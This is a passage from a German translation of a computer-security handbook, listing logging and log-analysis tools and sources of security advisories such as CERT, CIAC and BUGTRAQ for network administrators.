Linux 2.0.3[23] und 2.1.8[89] für Intel-basierte Systeme
NetBSD 1.[23] für Intel- und SPARC-basierte Systeme
NEXTSTEP 3.1 für NEXTSTEP-Architekturen
SCO UnixWare 2.1.[12] und 7 für Intel-basierte Systeme
und den meisten nachfolgenden Systemversionen
WebSense
Obwohl WebSense am besten bekannt ist für seine Überwachungsmöglichkeiten, bietet das Produkt auch
mächtige Protokollierungsmöglichkeiten. (Diese sind unlängst verbessert worden, da das Produkt dazu
entwickelt wurde, eng mit den PIX Firewalls von Cisco zusammenzuarbeiten.)
NetPartners Internet Solutions, Inc.
Tel.: +1-619-505-3044
Fax: +1-619-495-1950
E-Mail: jtrue@netpart.com
Protokollierungs- und Auditing-Tools
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URL: http://www.netpart.com/
WebTrends für Firewalls und VPNs
WebTrends Corporation
Tel.: +1-503-294-7025
Fax: +1-503-294-7130
E-Mail: sales@webtrends.com
URL: http://www.webtrends.com/
WebTrends für Firewalls und VPNs verbindet Web-Links, -Benutzung und -Verkehranalyse mit
Log-Datei-Analyse. Die folgenden Firewalls sind Proxies und werden unterstützt:
Firewall-1
NAI/TIS Gauntlet
Raptor
Cisco PIX
Lucent Managed Firewall
IBM eNetwork Firewall
Novell Proxy Server
Netscape Proxy Server
Microsoft Proxy
WebTrends kann einige sehr eindrucksvolle Statistiken generieren und schreibt in einer ganzen Reihe
von Datenbankberichtsformaten. Dieses Produkt läuft auf Windows NT und Windows 95.
Win-Log Version 1
iNFINITY Software
E-Mail: jcross@griffin.co.uk
URL: http://www.griffin.co.uk/users/jcross/
Win-Log ist ein sehr einfaches Utility für Windows NT. Es protokolliert, wenn, so oft wie und so lange
wie Windows NT benutzt wird. Sie können dieses Utility benutzen, um festzustellen, ob jemand Ihren
Rechner neu gebootet hat, auch wenn er irgendwie Event Logger umgangen hat.
MLOG
Autor: ABIT Corporation
URL: http://www.marx156.com/$webfile.send.37./MLOG_210.ZIP
MLOG ist ein NetWare-basiertes LAN-Ereignis-Protokollierungs-Utility von ABIT & MG- SOFT, das
Protokollierungs- und Auditing-Tools
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die höchste Netzwerkbenutzung und die folgenden Protokoll-Pakettypen protokolliert:
AppleTalk Open Session
DEC LAT Start
DECnet NSP Connection Initialize
IPX NCP Create Connection
NBEUI Session Initialize
TCP/IP Synchronize
MLOG läuft auf dem Pakettreiber (1.09 oder höher)
NOCOL/NetConsole v4.0
NOCOL/NetConsole v4.0 ist eine Familie von selbständigen Applikationen, die vielfache
Überwachungsaufgaben ausführen. Diese Familie bietet ein Curses-Interface, das auf einer ganzen Reihe
von Terminals gut läuft (es wird kein X benötigt). Sie ist erweiterbar, bietet Unterstützung für ein
Perl-Interface und funktioniert auf Netzwerken mit AppleTalk und Novell.
Wegweiser:
NOCOL/NetConsole v.4.0 finden Sie online unter ftp://ftp.navya.com/ pub/vikas/nocol.tar.gz.
PingLogger
PingLogger protokolliert ICMP-Pakete an eine Ausgabedatei. Mit dieser Utility können Sie zuverlässig
bestimmen, wer Sie mit ping-Anfragen überschwemmt. Das Utility wurde ursprünglich auf Linux
geschrieben und getestet (sie benötigen einen C-Compiler und IP- Header-Dateien), kann aber auch auf
anderen Unix-Systemen funktionieren.
Autor: Jeff Thompson
URL: http://ryanspc.com/tools/pinglogger.tar.gz
15.4 Tools für die Analyse von Log-Dateien
Die folgenden Tools untersuchen Log-Dateien, nehmen die Daten daraus und erstellen Berichte.
NestWatch
NestWatch kann Log-Dateien von allen größeren Web-Servern und mehreren Firewalls importieren.
NestWatch läuft auf Windows NT und kann Berichte in HTML ausgeben und diese an Server Ihrer Wahl
verteilen.
Scandinavian Security Center
Smedegade 78
DK-7800-Horsens
Protokollierungs- und Auditing-Tools
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Dänemark
Tel.: +45 7625 4330
Fax: +45 7625 4340
E-Mail: Scansec@sscnet.com
URL: http://www.sscnet.com/nestwatch.html
NetTracker
Sane Solutions, LLC
Tel.: +1-401-295-4809
E-Mail: info@sane.com
URL: http://www.sane.com/products/NetTracker/
NetTracker analysiert sowohl Firewall- als auch Proxy-Dateien. Das Produkt liefert umfassende Filter-
und Berichterstellungsfunktionen und kann Daten zu Excel- und Access-Dateiformaten exportieren. Es
kann ebenfalls generelle Zugangslog-Dateien analysieren und benutzerdefinierte Berichte formatieren,
die sich für die Diagrammdarstellung eignen. NetTracker läuft auf Windows 95/Windows NT. Eine
30-Tage-Trialversion ist im Web erhältlich.
LogSurfer
LogSurfer ist ein umfassendes Analyse-Tool für Log-Dateien. Das Programm untersucht
Klartext-Logdateien und führt verschiedene Aktionen durch, die auf dem basieren, was es vorgefunden
hat (und den Regeln, die Sie bestimmt haben). Diese Aktionen beinhalten: eine Warnmeldung
generieren, ein externes Programm ausführen oder sogar Teile der Log- Dateien herausnehmen und sie
an externe Befehle oder Prozesse weiterleiten. LogSurfer braucht einen C-Compiler.
Universität Hamburg, Informatik-Abt.
DFN-CERT
Vogt-Koelln-Strasse 30
22527 Hamburg
URL: ftp://ftp.cert.dfn.de/pub/tools/audit/logsurfer/logsurfer-1.41.tar-gz.
VBStats
VBStats ist ein mächtiger Logdateien-Analysator für Windows. Das Utility exportiert zum
Microsoft-Access-Dateiformat zur weiteren Analyse Ihrer resultierenden Daten. Besonders interessant
ist, daß VBStats den Prozeß umgekehrter DNS-Überprüfungen auf besuchende IP-Adressen
automatisiert. So erfahren Sie die richtigen Hostnamen. Schon allein aus diesem Grund lohnt sich eine
Anschaffung von VBStats. Außerdem kann VBStats sehr fein abgestimmte Berichte über
Protokollierungs- und Auditing-Tools
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Web-Serverzugänge ausgeben.
Autor: Bob Denny
URL: http://tech.west.ora.com/win-httpd/#vbstat/
Netlog
Netlog, das an der Texas A&M University entwickelt wurde, protokolliert jeden TCP- und
UDP-Verkehr. Dieses Tool unterstützt außerdem die Protokollierung von ICMP-Nachrichten (obwohl
die Entwickler angeben, daß die Durchführung dieser Protokollierung sehr speicherintensiv ist). Sie
brauchen einen C-Compiler, um das Produkt zu benutzen.
Wegweiser:
Netlog finden Sie online unter ftp://coast.cs.purdue.edu/pub/tools/unix/ TAMU/.
Analog
Autor: Stephen Turner
University of Cambridge Statistical Laboratory
URL: http://www.statslab.cam.ac.uk/~sret1/analog/
Analog ist wahrscheinlich das einzige wahre plattformübergreifende Analyse-Tool für Log- Dateien.
Analog läuft derzeit auf den folgenden Betriebssystemen:
Macintosh
OS/2
Windows 95/NT
Unix
VAX/VMS
RISC/OS
BeOS
BS2000/OSD
Analog ist nicht nur plattformübergreifend, sondern bietet auch integrierte Unterstützung für eine ganze
Reihe von Sprachen, darunter Englisch, Portugiesisch, Französisch, Deutsch, Schwedisch, Tschechisch,
Slowakisch, Slowenisch, Rumänisch und Ungarisch.
Analog bietet außerdem umgekehrte DNS-Überprüfungen (langsam), eine integrierte Script- Sprache
(ähnlich den Shell-Sprachen) und zumindest minimale Unterstützung für AppleScript.
Und schließlich unterstützt Analog die meisten der Web-Server-Logdateiformate, darunter Apache,
NCSA, WebStar, IIS, W3 Extended, Netscape und Netpresenz.
Protokollierungs- und Auditing-Tools
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15.5 Spezialisierte Protokollierungswerkzeuge
Courtney
Autor: Marvin J. Christensen
URL: ftp://ciac.llnl.gov/pub/ciac/sectools/unix/courtney/courtney.tar.Z
Courtney ist ein Perl-Script, das dazu entwickelt wurde, SATAN-Angriffe zu entdecken und zu
protokollieren. In der Dokumentation zu Courtney wird beschrieben:
Courtney erhält Eingaben von tcpdump und zählt die Anzahl neuer Dienste, die ein Rechner
innerhalb eines bestimmten Zeitrahmens hervorbringt. Wenn ein Rechner sich innerhalb
dieses Zeitrahmens mit vielen Diensten verbindet, identifiziert Courtney diesen Rechner als
einen potentiellen SATAN-Host.
Hinweis:
Tools wie SATAN (Port-Scanner) öffnen viele Socket-Verbindungen innerhalb kurzer Zeit. Dieses
Verhalten ist sehr ungewöhnlich und kann leicht von Aktivitäten legitimer Benutzer unterschieden
werden. Tools wie Courtney verlassen sich mehr auf das Verhalten eingehender Hosts (und ihren
Regelkreis) als auf die Art der Daten, die übertragen werden.
Systemanforderungen umfassen libpcap-0.0, tcpdump-3.0 und perl5. Wenn Sie starken Netzverkehr auf
Ihrem Rechner haben, kann Courtney durchaus viel Systemressourcen brauchen.
Gabriel
Los Altos Technologies, Inc.
Tel.: +1-800-999-Unix
Technischer Support: +1-408-973-7717
Fax: +1-408-973-7707
E-Mail: info@lat.com
URL: http://www.lat.com/
Gabriel dient dem gleichen Zweck wie Courtney - SATAN-Angriffe zu protokollieren und davor zu
warnen. Gabriel ist jedoch völlig anders konzipiert und arbeitet auf Basis eines Servers und einer Reihe
von Clients, die kontinuierlich Statusberichte ausgeben. Diese Statusberichte zeigen verschiedene Muster
von Ressourcenbelegung durch entfernte Hosts. Wenn ein Host eine unangemessene Menge von
Ressourcen belegt (oder eine unnormal große Anzahl von Verbindungen verlangt), wird dieser Host als
möglicher Angreifer signalisiert. (Anmerkung: Gabriel verläßt sich größtenteils auf syslog.)
Sie brauchen ein generisches Unix-System, einen C-Compiler und Netzwerk-Include- Dateien, um
Gabriel laufen zu lassen.
Protokollierungs- und Auditing-Tools
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15.6 Zusammenfassung
Unterschätzen Sie niemals die Bedeutung detaillierter Log-Dateien. Sie sind nicht nur dann wichtig,
wenn Sie ein Eindringen in Ihr Netzwerk untersuchen, sondern sie sind auch ein wichtiges Beweismittel,
wenn Sie einen Angreifer anzeigen wollen. Spärliche Log-Dateien nützen Ihnen nichts.
Die meisten kriminellen Cracker-Fälle der letzten Jahre wurden mit gütlichen Vereinbarungen beendet.
Das liegt daran, daß die Eindringlinge meistens Jugendliche waren, die »nur ein bißchen Spaß haben«
wollten. Aber diese gütlichen Vereinbarungen werden mehr und mehr verschwinden, wenn wirklich
kriminelle Existenzen in das Internet eindringen. Wahre Kriminelle wissen, daß es sehr schwierig ist,
einen Fall vor Gericht zu beweisen (insbesondere wenn die Anklage nur wenig Internet-Erfahrung hat).
Wenn das Gericht einen Angeklagten verurteilen will, muß es stichhaltige Beweise haben. Der einzige
Weg, wie Sie stichhaltige Beweise zur Verfügung stellen können, ist, indem Sie einige todsichere
Methoden zur Protokollierung haben.
Verbrechen, die über das Internet begangen werden, unterscheiden sich erheblich von anderen
Verbrechen. Bei einem Raubüberfall beispielsweise kann das Opfer den Täter durch Gegenüberstellung
identifizieren. Bei einem Einbruch können Fingerabdrücke den Täter überführen. Im Internet dagegen
haben Sie weder eine Beschreibung des Täters noch Fingerabdrücke. Daher ist es nahezu unmöglich,
einen Fall gegen einen Cracker aufzubauen, wenn Sie keine Log-Dateien vorweisen können.
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file:///d|/cool stuff/old/hack/kap15.htm (10 von 10) [19.04.2000 21:14:51]
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16
Das Sicherheitsloch
Dieses Kapitel gibt Ihnen einen Überblick über Sicherheitslöcher, was sie sind, woher sie kommen und
wie Sie etwas über sie erfahren können.
16.1 Das Konzept des Sicherheitslochs
Ein Sicherheitsloch ist jeder Fehler in Hardware, Software oder Richtlinien, der es einem Angreifer
ermöglicht, unautorisierten Zugang zu Ihrem System zu bekommen.
Im Laufe einer jeden Woche werden 15 bis 30 solcher Sicherheitslöcher entdeckt. Diese können eine
ganze Reihe von Netzwerk-Tools betreffen:
Router
Client- und Server-Software
Betriebssysteme
Firewalls
Teil Ihrer Aufgabe als Netzwerkadministrator ist es zu wissen, wann derartige Sicherheitslöcher
aufgedeckt werden und wenn ja, welche Auswirkungen sie auf Ihr System haben können. Darum geht es
in diesem Kapitel.
16.2 Über Aktualität
Dieses Buch beschreibt Hunderte von Sicherheitslöchern, von denen die meisten im letzten Jahr
aufgedeckt wurden. Allein schon aus diesem Grund sollten Sie den Hacker's Guide in Ihr Regal stellen.
Wenn auf den Hosts in Ihrem Netzwerk ältere Software läuft, kann Ihnen der Hacker's Guide sicher
sagen, welche Sicherheitslöcher dort existieren. Aber das ist nicht genug.
Um Ihre Internet-Site und Ihr Netzwerk effektiv zu sichern, brauchen Sie aktuellere Informationen. Im
Idealfall sollten Sie Ihr Netzwerk bereits Minuten oder Stunden nach ihrer Entdeckung gegen die
entsprechenden Sicherheitslöcher absichern. (Sie können sicher sein, daß Cracker diese Sicherheitslöcher
in der Hälfte der Zeit für Exploits ausnutzen werden.)
Das Sicherheitsloch
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Um zu verstehen, warum Aktualität so wichtig ist, berücksichtigen Sie dies: Im Jahr 1995 wurde
entdeckt, daß das Login für den Account lp (line printer) in IRIX 6.2 standardmäßig über ein
Nullpaßwort erfolgte. Diese Information wurde innerhalb von Stunden an Cracker- Newsgroups verteilt.
Bis Mitternacht des gleichen Tages hatten Cracker herausgefunden, daß sie verwundbare Rechner über
Suchmaschinen wie WebCrawler und AltaVista finden konnten. Während der folgenden frühen
Morgenstunden wurden daraufhin Hunderte von Hosts beeinträchtigt.
Ein Netzwerk mit Internet-Anbindung zu verwalten, unterscheidet sich von der Verwaltung eines
geschlossenen LANs. In einem geschlossenen Netzwerk können Sie sich Zeit damit lassen, abtrünnige
Benutzer aufzuspüren. Die Anzahl der potentiellen Angreifer ist limitiert und diese Leute müssen ihre
Aktivitäten meist auf die Geschäftszeiten beschränken. Wenn Sie dagegen ein Netzwerk mit
Internet-Anbindung verwalten, können Sie jederzeit von jedermann von jedem beliebigen Ort
angegriffen werden.
Außerdem sind im Internet Angreifer oft untereinander vernetzt. Daher stehen Sie einer ganzen Armee
böswilliger Benutzer gegenüber, die in der Regel über hochaktuelle Berichte und über die modernsten
Angriffstechniken verfügen.
Um dieser Situation entgegenzutreten, müssen Sie mit der Außenwelt verbunden sein. Sie müssen immer
darüber Bescheid wissen, was gerade passiert. Der Rest dieses Kapitels wird Sie darauf vorbereiten.
16.3 Wie ein Sicherheitsloch entsteht
Ein Sicherheitsloch entsteht nicht plötzlich von alleine, sondern irgend jemand muß es entdecken. Der
Entdecker gehört in der Regel einer dieser drei Gruppen an:
Hacker
Cracker
Sicherheitsteams des Hersteller
Obwohl alle drei Gruppen ganz unterschiedliche Motivationen haben, haben sie doch alle etwas
gemeinsam: Sie tun den ganzen Tag nichts anderes, als Sicherheitslöcher zu suchen (nun ja, fast nichts
anderes).
Diese Leute sind üblicherweise Programmierer oder Systemadministratoren, die die Sicherheit
verschiedener Applikationen und Betriebssysteme testen. Wenn sie tatsächlich ein Sicherheitsloch
finden, geben sie diese Information je nach ihrer Motivation an verschiedene Leute weiter.
Hacker und Sicherheitsteams der Hersteller alarmieren in der Regel die Sicherheitsgemeinde.
(Sicherheitsteams der Hersteller lassen sich möglicherweise Zeit, bis eine Abhilfe gefunden ist.) Cracker
dagegen werden wahrscheinlich keine offizielle Quelle benachrichtigen, sondern die Information unter
ihresgleichen verteilen.
Je nachdem wie die Information verteilt wird, wird sie die Öffentlichkeit auf verschiedenen Wegen
erreichen. Wenn z.B. Cracker die Information verteilen, wird die erste Warnung für die Öffentlichkeit in
Form einiger geknackter Hosts erfolgen. Wenn dagegen Hacker die Information verteilen, wird sie in
Form von Hinweisen und Bulletins auftauchen.
Das Sicherheitsloch
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Das Internet bietet viele Quellen für hochaktuelle Sicherheitsinformationen. Teil Ihrer Aufgabe als
Netzwerkadministrator ist es, sich diese Informationen täglich anzusehen. Das Problem ist, daß diese
Informationen sehr umfangreich sind und viele davon für Ihre spezielle Netzwerkkonfiguration gar nicht
relevant sind. Daher müssen Sie eine Strategie entwickeln, wie Sie die Informationen so sammeln,
analysieren und aufbereiten, daß das, mit dem Sie enden, für Sie nützlich ist.
16.4 Das Datenmonster in Schach halten
Dieses Kapitel bietet eine umfassende Übersicht über Mailing-Listen, Websites und FTP- Archive, die
Sicherheitsinformationen bieten. Das ist großartig. Wenn Sie sich jedoch bei einer der Mailing-Listen
anmelden, werden Sie sofort entdekken, daß die Mitglieder der Liste nur wenig höflicher sind als
Usenet-Benutzer. Diese Leute lieben es zu argumentieren und sie werden es auf Kosten Ihrer Zeit tun.
Dieser Aspekt ist ein größeres Problem. Ihre Mailbox wird mit, sagen wir, 100 Nachrichten täglich
gefüllt, von denen vielleicht nur 12 wertvolle Informationen enthalten. Der Rest wird aus Argumenten,
Erfahrungsberichten und, traurigerweise, Müll bestehen.
Dies mag nicht wie ein ernsthaftes Problem aussehen, aber es ist eines. Wenn Sie ein heterogenes
Netzwerk betreiben, müssen Sie sich bei mehreren Mailing-Listen anmelden. Da die gewöhnliche
Mailing-Liste etwa 30 Nachrichten pro Tag verschickt, werden Sie wahrscheinlich zwischen 150 und 300
Nachrichten täglich erhalten.
Hier sind einige Vorschläge, die Ihnen helfen können:
Teilen Sie Bereiche ein. Bevor Sie Mitglied mehrerer Mailing-Listen werden, bereiten Sie Ihr
System vor, indem Sie verschiedene Bereiche für die Ausgabe einteilen. Stellen Sie einen alten
Rechner auf, der nur für den Empfang der Nachrichten bestimmt ist. Teilen Sie jeder
Mailing-Liste, der Sie beitreten, eine andere E-Mail-Adresse zu. Erstellen Sie beispielsweise die
Accounts ntsec, sunsec und hpuxsec, die jeweils Nachrichten in bezug auf NT-Sicherheit,
Sun-Sicherheit und HP-UX-Sicherheit empfangen. Dies wird die Informationen immerhin schon
einmal nach Betriebssystem oder Thema aufteilen. (Wenn Sie keine permanente
Netzwerkverbindung haben, können Sie diesen Ansatz trotzdem verfolgen, indem Sie
Web-basierte Mail-Adressen einrichten. Viele Unternehmen bieten freie E-Mail-Accounts für die
Öffentlichkeit. Der Nachteil liegt darin, daß viele Mailing- Listen Domains wie hotmail.com,
altavista.net und dejanews.com blockieren, weil diese Domains oft für Spamming-Aktionen
benutzt werden.)
Melden Sie sich nur für Auswahl- oder eingeschränkte Gruppen an. Die meisten Mailing- Listen
bieten eine Auswahl- oder eingeschränkte Version ihrer Mailing-Liste. Diese Versionen beinhalten
in der Regel weniger Nachrichten von Wichtigtuern, d.h. alle irrelevanten Postings und
Nachrichten werden vor der Verteilung redigiert. Daher erhalten Sie mehr relevante und
aussagefähige Informationen.
Es könnte die Zeit wert sein, wenigstens eine flüchtige Analyse von Hinweisen und Mailing- Listen zu
automatisieren. Wenn Sie beispielsweise ein Netzwerk mit drei oder vier Plattformen verwalten, kann die
Menge der Sicherheitsmails, die Sie jeden Tag erhalten, leicht mehr sein, als Sie bewältigen können. Für
diese Automatisierung empfehle ich Ihnen Perl.
Das Sicherheitsloch
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In meiner Firma haben wir eine einfache, aber wirksame Methode entwickelt, um die Datenmenge
automatisch abzubauen. So funktioniert es:
Unsere Verzeichnisstruktur spiegelt die Namen der verschiedenen Betriebssysteme (/ aix, /linux
etc.) und verschiedenen Sicherheitsaspekte (wie /denial-of-service) wider.
Wenn eine Mail-Nachricht eintrifft, wird ihre Betreffzeile und die ersten sechs Zeilen ihres Inhalts
überprüft. Wenn der Name eines Betriebssystems in diesen Zeilen erscheint, wird die Mail an das
entsprechende Verzeichnis weitergeleitet.
Einmal pro Tag durchsucht ein Perl-Script diese Verzeichnisse nach Erstpostings (anders gesagt,
alle »Re:«-Postings werden übergangen).
Die verbleibenden Nachrichten werden ausgedruckt.
Dieser Prozeß stellt sicher, daß wir jeden Ersthinweis sehen. Das offensichtliche Problem mit diesem
Ansatz ist jedoch, daß oft bedeutende Diskussionspunkte in nachfolgenden Postings erscheinen.
16.5 Wieviel Sicherheit brauchen Sie?
Brauchen Sie wirklich all diese Informationen aus all diesen Listen? Wahrscheinlich. Die meisten
Hersteller warten auf einen strategisch günstigen Moment, bis sie Patches auf harten Medien verteilen.
Bis Sie eine CD-ROM mit Patches erhalten, kann Ihr System schon 30 bis 100 Patches hinterherhinken.
In der Zwischenzeit ist das System nicht sicher.
Außerdem kann die Aktualisierung Ihres Netzwerks zu einer unüberwindbaren Aufgabe werden, wenn
Sie sich nicht wenigstens einmal wöchentlich über aktuelle Entwicklungen informieren.
Hinweis:
Ein anderer ärgerlicher Faktor ist, daß einige Hersteller überhaupt keine Eile haben, Fehler in ihrer
Software öffentlich zu bestätigen. Microsoft macht sich dieses Vergehens oft schuldig und leugnet
Probleme so lange, bis Beweise sich derart weit verbreiten, daß plausible Argumente für das Leugnen
der Probleme ausgehen. Aber selbst dann werden entsprechende Informationen nur in
Knowledge-Base-Artikeln o.ä. veröffentlicht.
Das Fazit ist, daß es in Ihrer Verantwortung liegt, Sicherheitsinformationen zu besorgen. Wenn Ihr
Netzwerk geknackt wird, werden Sie (und nicht Ihr Hersteller) dafür geradestehen müssen. Sie müssen
über aktuelle Entwicklungen informiert bleiben.
Der Rest dieses Kapitels gibt Ihnen wichtige Quellen für aktuelle Sicherheitsinformationen. Ich empfehle
Ihnen ausdrücklich, jemanden in Ihrer Organisation damit zu beauftragen, diesen Informationen zu
folgen.
16.6 Generelle Informationsquellen
Die folgenden Quellen bieten sowohl aktuelle als auch ältere Informationen.
Das Computer Emergency Response Team (CERT)
Das Sicherheitsloch
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Das Computer Emergency Response Team (CERT) wurde 1988 nach dem Morris-Wurm- Vorfall
gegründet. Seitdem hat CERT Hunderte von Sicherheitshinweisen herausgegeben und hat auf mehr als
200.000 Berichte über Internet-Angriffe reagiert.
CERT gibt nicht nur Hinweise heraus, wann immer ein neues Sicherheitsloch auftaucht, sondern bietet
auch die folgenden Dienstleistungen an:
Einen 24-Stunden-Notfalldienst, um jenen wichtige technische Ratschläge zu geben, die Opfer
eines Angriffs wurden.
Eine Website, auf der wichtige alte und neue Sicherheitsinformationen (darunter
Sicherheitspapiere, die zu Beginn der 80er Jahre erstellt wurden) zu finden sind.
Die Veröffentlichung eines Jahresberichts, der Ihnen einen großartigen Einblick in
Sicherheitsstatistiken gibt.
CERT veröffentlicht jedoch keine Informationen über Sicherheitslöcher, bevor nicht eine Abhilfe
entwickelt wurde. Aus diesem Grund ist CERT keine Quelle für allerneueste Nachrichten, sondern eine
gute Quelle für komplette Berichterstattung nach dem eigentlichen Vorfall. CERT-Hinweise beinhalten
in der Regel URLs für Patches und vom Hersteller herausgegebene Informationen. Von diesen Sites
können Sie andere Tools herunterladen, die Ihnen helfen werden, Ihr System gegen diese
Sicherheitsschwachstelle zu schützen.
CERT ist auch ein guter Ausgangspunkt, um nach älteren Sicherheitsschwachstellen zu suchen. Die
Datenbank geht bis ins Jahr 1988 zurück.
Hinweis:
Eine kleine Bemerkung am Rande: Der erste CERT-Hinweis wurde im Dezember 1988 herausgegeben.
Er betraf eine Schwachstelle im ftpd.
CERT-Hinweise können Sie auf mehreren Wegen erhalten, darunter:
Die CERT-Mailing-Liste. Die CERT-Mailing-Liste verteilt CERT-Hinweise und Bulletins an ihre
Mitglieder. Um Mitglied zu werden, senden Sie eine E-Mail an cert-advisory-request@cert.org
und schreiben Sie das Wort »subscribe«, gefolgt von Ihrer E- Mail-Adresse, in die Betreffzeile.
Die CERT-Website. Wenn Sie Ihre Mail nicht mit Hinweisen verstopfen wollen, können Sie diese
trotzdem über die CERT-Website erhalten. Sie finden sie unter http://
www.cert.org/nav/alerts.html.
Die CERT-FTP-Site. Wenn Sie keinen Browser zur Verfügung haben, können Sie die Hinweise
auch über FTP bekommen unter ftp://ftp.cert.org/pub/.
Die Computer Incident Advisory Capability (CIAC) des US Department of Energy
Die Computer Incident Advisory Capability (CIAC) wurde 1989 gegründet. CIAC verwaltet eine
Datenbank mit sicherheitsrelevanten Materialien, die hauptsächlich für das US-Department of Energy
gedacht sind. Die meisten Informationen (und Tools) sind jedoch auch für die Öffentlichkeit zugänglich.
Die CIAC-Site ist eine hervorragende Informationsquelle. Im folgenden einige der verfügbaren
Ressourcen:
CIAC-Virus-Datenbank. Diese Datenbank enthält Spezifikationen und Beschreibungen für
Das Sicherheitsloch
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Tausende von Computerviren. Listeneinträge umfassen den Dateinamen des Virus, Aliase, Typ,
Merkmale, Ort und Auswirkung. Oft sind noch zusätzliche Informationen verfügbar, darunter
Identifizierungsinformationen, Prüfsummen und Methoden zur Entdeckung und Vernichtung.
CIAC-Sicherheitsbulletins. Die CIAC-Bulletins sind den CERT-Hinweisen sehr ähnlich. Diese
beschreiben bestimmte Sicherheitsschwachstellen und bieten mögliche Lösungen an. CIAC
verfügt über eine Suchmaschine, Sie können also auch durch frühere Bulletins stöbern und nach
interessanten Informationen suchen.
CIAC-Sicherheitsdokumente. CIAC hat eine interessante und immer weiter anwachsende
Sammlung von Sicherheitsdokumenten. Einige sind Anleitungen (z.B. wie man X-Windows
sichert), andere sind rein informativ (z.B. Links für Sicherheitsinformationen). Die meisten sind
sowohl in Text- als auch PDF-Formaten vorhanden.
Vielleicht wollen Sie Mitglied der CIAC-Mailing-Liste werden. Senden Sie zur Anmeldung eine E-Mail
an majordomo@tholia.llnl.gov und schreiben Sie folgenden Befehl in den Textteil: subscribe
ciac-bulletin. Innerhalb von 30 Minuten werden Sie eine Antwort mit weiteren Anweisungen erhalten.
Wichtige Informationen, die von der CIAC für die Öffentlichkeit zur Verfügung gestellt werden, sind
u.a.:
Defense-Data-Network-Hinweise
CERT-Hinweise
NASA-Hinweise
Ein Computer-Sicherheitsjournal von Chris McDonald
CIAC verteilt auch viele Tools. Die meisten wurden dazu entwickelt, Unix-Netzwerke zu schützen,
obwohl es auch einige für den Macintosh und für DOS/Windows gibt. Einige, wie das
SPI-Sicherheits-Tool, sind nur für Regierungsvertragsunternehmen verfügbar.
Die CIAC-Website finden Sie unter http://ciac.llnl.gov/.
Das Computer Security Resource Clearinghouse (CSRC) des The National Institute of
Standards and Technology (NIST)
Die NIST-CSRC-Website bietet eine beträchtliche Liste von Publikationen, Tools, Verweisen,
Organisationen und Support-Dienstleistungen. Besonders die folgenden Quellen sind extrem hilfreich:
NIST-Information-Technology-Laboratory(ITL)-Sicherheitsbulletins. Die Bulletins von ITL
decken verschiedene aktuelle Themen ab. (Ein Beispieltitel ist »A Comparison of Year 2000
Solutions«.) Obwohl ITL-Dokumente selten spezielle Sicherheitsschwachstellen behandeln, geben
Sie Ihnen einen Einblick in die aktuellsten Entwicklungen in bezug auf Sicherheitstechnologien.
CSRC-Konzepte. Die CSRC-Konzepte behandeln wichtige Forschungen auf dem Gebiet der
Computersicherheit, die am NIST und andernorts durchgeführt werden. Diese Dokumente können
Ihnen dabei helfen, Sicherheitspläne und -Richtlinien zu definieren. (Ein Beispieltitel ist »User
Guide for Developing and Evaluating Security Plans for Unclassified Federal Automated
Information Systems«. Dieses Dokument erklärt verschiedene Wege zur Entwicklung und
Auswertung von Sicherheitsplänen.) Insbesondere bietet CSRC viele Dokumente über
Sicherheitsrichtlinien.
Das Sicherheitsloch
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Die CSRC-Suche. CSRC bietet eine Suchmaschine, die Informationen von einer ganzen Reihe
von Behörden und Quellen sammelt.
Das CSRC stellt außerdem auch Hinweise der Federal Computer Incident Response Capability
(FedCIRC) zur Verfügung. Diese sind hochaktuelle Warnungen über verschiedene Schwachstellen.
Hinweis:
Zum Beispiel betraf das aktuellste FedCIRC-Bulletin eine Schwachstelle in CoreBuilder und SuperStack
II LAN-Switches von 3Com.
Die CSRC-Website finden Sie unter http://csrc.nist.gov/. Die FedCIRC-Hinweise finden Sie unter
http://fedcirc.llnl.gov/advisories/.
Das Network Information Center (NIC) des amerikanischen Verteidigungsministeriums
(DoD)
Das DoD Network Information Center bietet wichtige Informationen in bezug auf Netzwerksicherheit
(hauptsächlich für Regierungsbehörden). Die Hauptattraktion dieser Site sind die
Defense-Data-Network-Bulletins. DDN-Bulletins (die vom Defense Information Systems Network
zirkuliert werden) bieten hochaktuelle Sicherheitshinweise. Sie werden auf der DoDNIC-Site archiviert
unter http://nic.ddn.mil/SCC/bulletins.html. Die Site beinhaltet eine Suchmaschine, so daß Sie nach
bestimmten Hinweisen suchen können.
Hinweis:
Es gibt keinen anderen Weg für Privatpersonen, diese Hinweise zu erhalten. DDN verwaltet zwar eine
Mailing-Liste, aber nur mil-Domains können Sie sich dort anmelden. Daher müssen Sie die
DoDNIC-Site (oder eine andere autorisierte Site) besuchen, wenn Sie sich DDN-Hinweise ansehen
wollen.
Die BUGTRAQ-Archive
Die BUGTRAQ-Archive enthalten alle Nachrichten, die an die BUGTRAQ-Mailing-Liste gesandt
werden. Die meisten dieser Nachrichten beschreiben Sicherheitslöcher in Unix. Diese Site ist besonders
interessant, weil sie ein Glimpse-Search-Interface beinhaltet, das es Ihnen ermöglicht, das Archiv auf
verschiedene Arten zu durchsuchen.
Die BUGTRAQ-Archive werden heute von Aleph One betrieben und moderiert. Er sorgt dafür, daß sich
keine Streitereien aufbauen und die Atmosphäre auf der Liste stets angenehm bleibt.
Die BUGTRAQ-Liste ist eine hervorragende Quelle, weil sie nicht mit irrelevanten Informationen
überschwemmt ist. Die meisten Postings sind kurz und informativ. Scott Chasin, der Gründer von
BUGTRAQ, beschreibt die Liste folgendermaßen:
Diese Liste ist für detaillierte Diskussionen von Unix-Sicherheitslöchern: was sie sind, wie
sie ausgenutzt werden können und was man tun kann, um sie zu korrigieren. Diese Liste ist
nicht dazu gedacht, Informationen über das Knacken von Systemen oder das Ausnutzen von
Schwachstellen zu geben. Sie ist dazu gedacht, Sicherheitslöcher und -risiken zu definieren,
Das Sicherheitsloch
file:///d|/cool stuff/old/hack/kap16.htm (7 von 13) [19.04.2000 21:14:53]
zu erkennen und zu verhindern.
BUGTRAQ ist wahrscheinlich die wertvollste Quelle im Internet für Online-Berichte über Unix-basierte
Sicherheitsschwachstellen. Besuchen Sie BUGTRAQ unter http://
www.geek-girl.com/bugtraq/search.html. Die beiliegende CD enthält übrigens einen Abzug des Archivs.
Das Forum of Incident Response and Security Teams (FIRST)
FIRST ist ein Zusammenschluß von vielen Organisationen, sowohl öffentlichen als auch privaten, die
zusammenarbeiten, um Internet-Sicherheitsinformationen in Umlauf zu setzen. Zu den Mitgliedern von
FIRST zählen:
DoE Computer Incident Advisory Capability (CIAC)
NASA Automated Systems Incident Response Capability
Purdue University Computer Emergency Response Team
Stanford University Security Team
IBM Emergency Response Service
Australian Computer Emergency Response Team
